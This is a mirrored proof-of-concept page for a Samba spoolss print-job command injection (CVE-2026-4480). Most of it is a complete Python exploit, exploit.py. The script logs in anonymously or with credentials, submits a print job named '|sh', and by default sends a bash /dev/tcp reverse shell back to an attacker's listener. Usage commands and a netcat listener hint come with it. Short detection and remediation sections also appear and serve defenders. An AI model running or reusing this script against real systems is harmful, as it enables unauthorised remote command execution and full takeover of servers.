PoC Archive PoC Archive
Critical CVE-2026-4480 unpatched

Samba spoolss Print Job Command Injection RCE (CVE-2026-4480)

by Vusal777 · 2026-07-05

Severity
Critical
CVE
CVE-2026-4480
Category
network
Affected product
Samba (spoolss / print spooler RPC service)
Affected versions
Per source repository (Samba builds exposing vulnerable spoolss print-job handling over \pipe\spoolss)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / ResearcherVusal777
CVE / AdvisoryCVE-2026-4480
Categorynetwork
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagssamba, spoolss, smb, printer, rpc, command-injection, reverse-shell
RelatedN/A

Affected Target

FieldValue
Software / SystemSamba (spoolss / print spooler RPC service)
Versions AffectedPer source repository (Samba builds exposing vulnerable spoolss print-job handling over \pipe\spoolss)
Language / PlatformPython 3 (uses Samba’s samba.dcerpc.spoolss Python bindings)
Authentication RequiredNo (supports anonymous/guest login) or Yes (username/password)
Network Access RequiredYes (SMB/TCP 445)

Summary

This PoC targets a flaw in Samba’s spoolss print spooler RPC interface where a submitted print job’s document name/content is not safely handled, allowing an attacker who can open a writable printer/share to inject a shell command that gets executed on the server (document_name = "|sh"). The script authenticates (anonymously or with credentials) to the target’s SMB service, opens the named printer/share via the spoolss RPC interface, and writes a malicious “print job” whose body is executed as a shell command or reverse shell payload.


Vulnerability Details

Root Cause

The Samba print spooler processes submitted print jobs and, under vulnerable configurations, treats a document name prefixed with a pipe (|sh) combined with attacker-controlled job body data as something to be piped into a shell rather than strictly treating it as inert print data. This lets an authenticated (or anonymous, if permitted) SMB client submit a “print job” whose payload is actually shell command text, which the backend executes with the privileges of the Samba/print-handling process.

Attack Vector

  1. Attacker verifies target SMB service is reachable on TCP/445.
  2. Attacker authenticates to the target Samba server — anonymously (-N) or with valid/guessed credentials (-u/-p) — against a writable SMB share/printer.
  3. Attacker opens the printer object via the spoolss RPC OpenPrinter call with PRINTER_ACCESS_USE.
  4. Attacker starts a document with document_name = "|sh" and datatype RAW, then writes the payload body (a shell command or a bash reverse-shell one-liner) via WritePrinter.
  5. The print job is closed (EndPagePrinter/EndDocPrinter/ClosePrinter), triggering server-side processing of the job body as a shell command.
  6. If a reverse shell payload was used, the attacker catches the callback on their listener.

Impact

Full remote command execution on the Samba host with the privileges of the process handling the print job (potentially root or a privileged service account), enabling complete compromise of the target server.


Environment / Lab Setup

Target: Samba server with spoolss print service exposed on TCP/445,
        with a writable share/printer object accessible anonymously
        or via valid credentials.
Attacker tooling: Kali/Linux box with python3-samba installed
                  (sudo apt install python3-samba), attacker listener
                  (e.g. netcat) for reverse shells.

Proof of Concept

PoC Script

See exploit.py in this folder.

1
2
3
4
5
python3 exploit.py --lhost <listener_ip> --lport <listener_port> -t <target> -s <sharename> -N

python3 exploit.py --lhost <listener_ip> --lport <listener_port> -t <target> -s <sharename> -u <username> -p <password>

python3 exploit.py -t <target> -s <sharename> -N -c "id"

Running the script checks that TCP/445 is reachable, authenticates to the target, opens the specified printer/share, and submits a print job whose body is executed as a shell command — demonstrating unauthenticated or authenticated RCE via the spoolss print interface.


Detection & Indicators of Compromise

- Samba/print spooler logs showing print jobs with a document name
  beginning with "|" (pipe) submitted via spoolss RPC (StartDocPrinter).
- Unexpected child processes spawned by the Samba/print spooler service
  (smbd, spoolssd) shortly after an SMB session/print job.
- Outbound TCP connections from the Samba host to unfamiliar external
  IPs/ports immediately following a print job submission (reverse shell).

Signs of compromise:

  • Print spooler logs containing document names starting with | or shell metacharacters.
  • New unexpected outbound connections from the Samba server host.
  • Unauthorized processes or shells running under the Samba service account.

Remediation

ActionDetail
Primary fixApply the official Samba security patch/update that sanitizes/rejects shell-metacharacter document names and print job data in the spoolss RPC handler.
Interim mitigationDisable or restrict access to writable print shares; restrict SMB/spoolss access to trusted hosts only via firewall; disable anonymous/guest SMB access.

References


Notes

Mirrored from https://github.com/Vusal777/CVE-2026-4480-exploit-poc on 2026-07-05.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/bin/env python3
import argparse
import sys
import socket

try:
    from samba.dcerpc import spoolss
    from samba.param import LoadParm
    from samba.credentials import Credentials
except ImportError:
    sys.exit("[-] Samba Python bindings missing. Install with: sudo apt install python3-samba")

PRINTER_ACCESS_USE = 0x00000008


def reverse_shell(lhost, lport):
    return ("setsid bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1' >/dev/null 2>&1 &\n"
            % (lhost, lport)).encode()


def check_target(rhost):
    print("[*] checking if target is available")
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(3)
        s.connect((rhost, 445))
        s.close()
        print("[*] target is available")
        return True
    except Exception:
        sys.exit("[-] target is unavailable or port 445 is closed")


def exploit(rhost, sharename, body, username=None, password=None, anonymous=False):
    lp = LoadParm()
    lp.load_default()
    creds = Credentials()
    creds.guess(lp)
    
    print("[*] logging in")
    if anonymous:
        creds.set_anonymous()
    else:
        creds.set_username(username)
        creds.set_password(password)

    try:
        binding = r"ncacn_np:%s[\pipe\spoolss]" % rhost
        iface = spoolss.spoolss(binding, lp, creds)

        handle = iface.OpenPrinter("\\\\%s\\%s" % (rhost, sharename), "",
                                   spoolss.DevmodeContainer(), PRINTER_ACCESS_USE)

        info = spoolss.DocumentInfo1()
        info.document_name = "|sh"
        info.output_file = None
        info.datatype = "RAW"
        ctr = spoolss.DocumentInfoCtr()
        ctr.level = 1
        ctr.info = info

        print("[*] uploading payload")
        iface.StartDocPrinter(handle, ctr)
        iface.StartPagePrinter(handle)
        iface.WritePrinter(handle, body, len(body))
        iface.EndPagePrinter(handle)
        iface.EndDocPrinter(handle)
        iface.ClosePrinter(handle)
    except Exception as e:
        sys.exit("[-] exploit failed during SMB/RPC operations: %s" % e)


# Error message parser
class CustomArgumentParser(argparse.ArgumentParser):
    def error(self, message):
        print("\n[!] Error: %s" % message)
        print("[*] Note: if user is anonymous and no password, then just add -N without -u or -p\n")
        self.print_help()
        sys.exit(2)


def main():
    p = CustomArgumentParser(
        description="CVE-2026-4480 Samba print %J injection")
    
    p.add_argument("-t", "--target", required=True, help="target Samba host/IP (rhost)")
    p.add_argument("-Lh", "--lhost", required=True, help="your listener IP (e.g. tun0)")
    p.add_argument("-Lp", "--lport", required=True, type=int, help="your listener port")
    p.add_argument("-s", "--sharename", required=True, help="Writable SMB share / printer name")
    p.add_argument("-c", "--cmd", help="run a specific shell command instead of a reverse shell")
    
    auth_group = p.add_mutually_exclusive_group(required=True)
    auth_group.add_argument("-N", "--no-pass", action="store_true", help="Anonymous / guest login")
    auth_group.add_argument("-u", "--username", help="Username for authentication")
    p.add_argument("-p", "--password", help="Password for authentication")

    args = p.parse_args()

    if not args.no_pass and (args.username and not args.password):
        p.error("-p/--password is required when -u/--username is provided.")

    print("[*] executing command")
    check_target(args.target)

    if args.cmd:
        body = (args.cmd.rstrip("\n") + "\n").encode()
    else:
        body = reverse_shell(args.lhost, args.lport)

    exploit(args.target, args.sharename, body, args.username, args.password, args.no_pass)

    if not args.cmd:
        print("[*] setup listener on your computer like: nc -lnvp %d" % args.lport)
    
    print("[*] Check your listener, print job submitted")


if __name__ == "__main__":
    main()